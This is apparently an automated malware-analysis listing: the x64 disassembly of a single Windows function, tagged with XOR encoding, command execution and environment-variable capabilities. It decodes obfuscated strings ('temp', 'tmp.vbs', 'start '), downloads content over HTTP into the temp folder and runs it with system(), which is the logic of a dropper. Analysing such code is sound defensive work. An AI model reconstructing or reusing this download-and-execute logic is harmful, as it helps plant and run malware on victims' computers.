Function at 0x1400128a8
Capabilities:
Encode data using xor
Execute command
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], r14
push rbp
lea rbp, [rsp - 0x270]
sub rsp, 0x370
mov rax, qword [0x1400a0280]
xor rax, rsp
mov qword [rbp + 0x260], rax
mov cl, 0x6c
mov dword [rbp + 0x60], 0x1c01186c
mov bl, 0x42
mov dword [rbp + 0x64], 0x1f0e1a42
xor eax, eax
mov byte [rbp + 0x68], al
xor byte [rbp + rax + 0x61], cl
inc rax
cmp rax, 7
jae 0x1400128fc
mov cl, byte [rbp + 0x60]
jmp 0x1400128ea
mov byte [rbp + 0x68], 0
lea rax, [rbp + 0x61]
mov qword [rbp + 0x90], rax
xor r8d, r8d
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x108]
call fcn.140003550
nop
mov cl, 0x7a
mov dword [rbp + 0x50], 0x171f0e7a
mov word [rbp + 0x54], 0xa
xor eax, eax
xor byte [rbp + rax + 0x51], cl
inc rax
cmp rax, 4
jae 0x140012945
mov cl, byte [rbp + 0x50]
jmp 0x140012933
mov byte [rbp + 0x55], 0
lea rcx, [rbp + 0x51]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov qword [rbp + 0x90], rax
xor r8d, r8d
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xd0]
call fcn.140003550
nop
lea r8, [rbp + 0x108]
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0xb0]
call fcn.140012848
nop
lea rcx, [rbp + 0xd0]
call fcn.14001d620
nop
lea rcx, [rbp + 0x108]
call fcn.14001d620
lea rax, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 7
cmova rax, qword [rbp + 0xb0]
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0x98], rax
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x70]
call fcn.140003644
nop
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rdx, qword [rbp + 0x70]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x20]
lea rcx, [rsp + 0x40]
call fcn.14000ddb8
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x40], rax
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3c], edx
mov r14d, 0x1000
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140012a8e
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, r14
jb 0x140012a89
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012a89
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a9b4
movdqa xmm0, xmmword [0x1400823f0]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], 0
lea rcx, [rsp + 0x38]
call fcn.140028c58
nop
movdqa xmm0, xmmword [0x140082590]
movdqu xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [0x140082550]
movdqu xmmword [rbp + 0xe0], xmm1
movdqa xmm0, xmmword [0x140082580]
movdqu xmmword [rbp + 0xf0], xmm0
mov dword [rbp + 0x100], 0x130e13
xor ecx, ecx
mov al, byte [rbp + 0xd0]
xor byte [rbp + rcx + 0xd1], al
inc rcx
cmp rcx, 0x32
jb 0x140012ae9
mov byte [rbp + 0x103], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
lea rax, [rbp + 0xd1]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140012b23
lea rdx, [rbp + 0xd1]
lea rcx, [rbp + 0x70]
call fcn.140002c64
nop
lea rax, [rbp + 0x70]
mov qword [rbp + 0x60], rax
lea rax, [rbp + 0x90]
mov qword [rbp + 0x68], rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x108]
call fcn.14000d644
lea rax, vtable.cpr::Url.0
mov qword [rbp + 0x108], rax
lea rdx, [rbp + 0x108]
lea rcx, [rsp + 0x38]
call fcn.140029d04
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x140012bc1
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, r14
jb 0x140012bbc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012bbc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a9b4
movdqa xmm0, xmmword [0x1400823f0]
movdqu xmmword [rbp + 0x120], xmm0
mov byte [rbp + 0x110], 0
lea r9, [fcn.140010e08]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rbp + 0x70]
call fcn.14007a8a8
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x130]
lea rcx, [rsp + 0x38]
call fcn.140029510
lea rcx, [rbp + 0x130]
call fcn.1400119c0
lea rcx, [rsp + 0x48]
call fcn.14001dc64
test rax, rax
jne 0x140012c40
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rax, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 7
cmova rax, qword [rbp + 0xb0]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0x68], rax
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x90]
call fcn.140003644
nop
mov dword [rbp + 0x50], 0x23363142
mov dword [rbp + 0x54], 0x623630
xor eax, eax
xor byte [rbp + rax + 0x51], bl
inc rax
cmp rax, 6
jae 0x140012ca7
mov bl, byte [rbp + 0x50]
jmp 0x140012c95
mov byte [rbp + 0x57], 0
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0x51]
lea rcx, [rbp + 0x70]
call fcn.140002158
cmp qword [rax + 0x18], 0xf
jbe 0x140012cc9
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140012d0f
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, r14
jb 0x140012d0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012d0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a9b4
movdqa xmm0, xmmword [0x1400823f0]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140012d64
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, r14
jb 0x140012d5e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012d5e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a9b4
nop
lea rcx, [rsp + 0x38]
call fcn.1400290b0
nop
lea rcx, [rsp + 0x40]
call fcn.1400147c0
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 7
jbe 0x140012dbf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, r14
jb 0x140012dba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012dba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a9b4
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.14007ae30
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x10]
mov r14, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret